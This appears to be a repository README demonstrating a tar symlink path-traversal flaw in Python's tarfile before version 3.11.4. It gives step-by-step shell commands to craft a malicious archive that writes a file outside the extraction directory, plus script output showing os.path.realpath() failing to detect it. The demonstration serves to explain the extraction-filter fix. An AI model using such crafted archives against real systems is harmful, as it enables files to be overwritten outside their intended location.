
This is a demonstration of how python's default handling of tar file extraction prior to python v3.11.4 is vulnerable to a simple symlink attack. The instructions below describe how to craft a malicious payload. The script untar.py demonstrates how and why the features added in 3.11.4 work - specifically the necessity to invoke something like os.path.realpath() before every write for every file. The script employs the exactly same inspection method found in the extraction filter feature included in python >= 3.11.4 EXCEPT it does not write the files to disk. As such it shows how os.path.realpath() is unable to properly resolve symlinks and thus will allow tar members to be written outside of the intended filesystem location.
instructions (this file) on how to set up the sandbox and the malicious tar file.
python script untar.py that will demonstrate the 'why' behind the recent implementation of enhanced tar validation in the python tarfile library. Due to how os.path.realpath() works, you can't rely on it to resolve symlinks unless those links are already on the filesystem. This means you can't rely on os.path.realpath() alone to inspect tar member paths prior to extracting the archive. You must instead call os.path.realpath() before every write for every member in the archive to ensure detection of malicious link activity. See PEP-706 and tarfile doc for more information.
snerd@jess:~$ mkdir -p lab/{lib,target}
snerd@jess:~$ cd lab
snerd@jess:~/lab$ tar -cvPf terry.tar lib
snerd@jess:~/lab$ rm -rf lib
snerd@jess:~/lab$ ln -s . lib
snerd@jess:~/lab$ tar -rvPf terry.tar lib
snerd@jess:~/lab$ rm lib
snerd@jess:~/lab$ mkdir -p lib/lib
snerd@jess:~/lab$ touch lib/dangerous_file
snerd@jess:~/lab$ tar -rPvf terry.tar lib/lib/../dangerous_file
snerd@jess:~/lab$ cp terry.tar target/
snerd@jess:~/lab$ cd target/
snerd@jess:~/lab/target$ tar -xPvf terry.tar
lib/
lib
lib/lib/../dangerous_file
snerd@jess:~/lab/target$ ls
lib terry.tar
snerd@jess:~/lab/target$ ls ../
dangerous_file lib target terry.tar
download untar.py from this repository and put it in the ./lab directory
run the script. note how easy it is to fool os.path.realpath() when the malicious symlink has yet to be written to the target filesystem.
snerd@jess:~/lab$ python3 untar.py
member name is: lib
dest_path is: /home/snerd/lab/target
target_path is: /home/snerd/lab/target/lib
is_tarslip? False
-*-*-*-*-
member name is: lib
dest_path is: /home/snerd/lab/target
target_path is: /home/snerd/lab/target/lib
is_tarslip? False
-*-*-*-*-
member name is: lib/lib/../dangerous_file
dest_path is: /home/snerd/lab/target
target_path is: /home/snerd/lab/target/lib/dangerous_file
is_tarslip? False
-*-*-*-*-
Alert: 15-year-old Python tarfile flaw lurks in 'over 350,000' code projects
SO post on how to safely extract tar archives prior to new features of python 3.11.4
2022 statement from the longstanding [ret. 2019] maintainer of the tarlib library
implementation for the new extraction filter feature introduced in python 3.11.4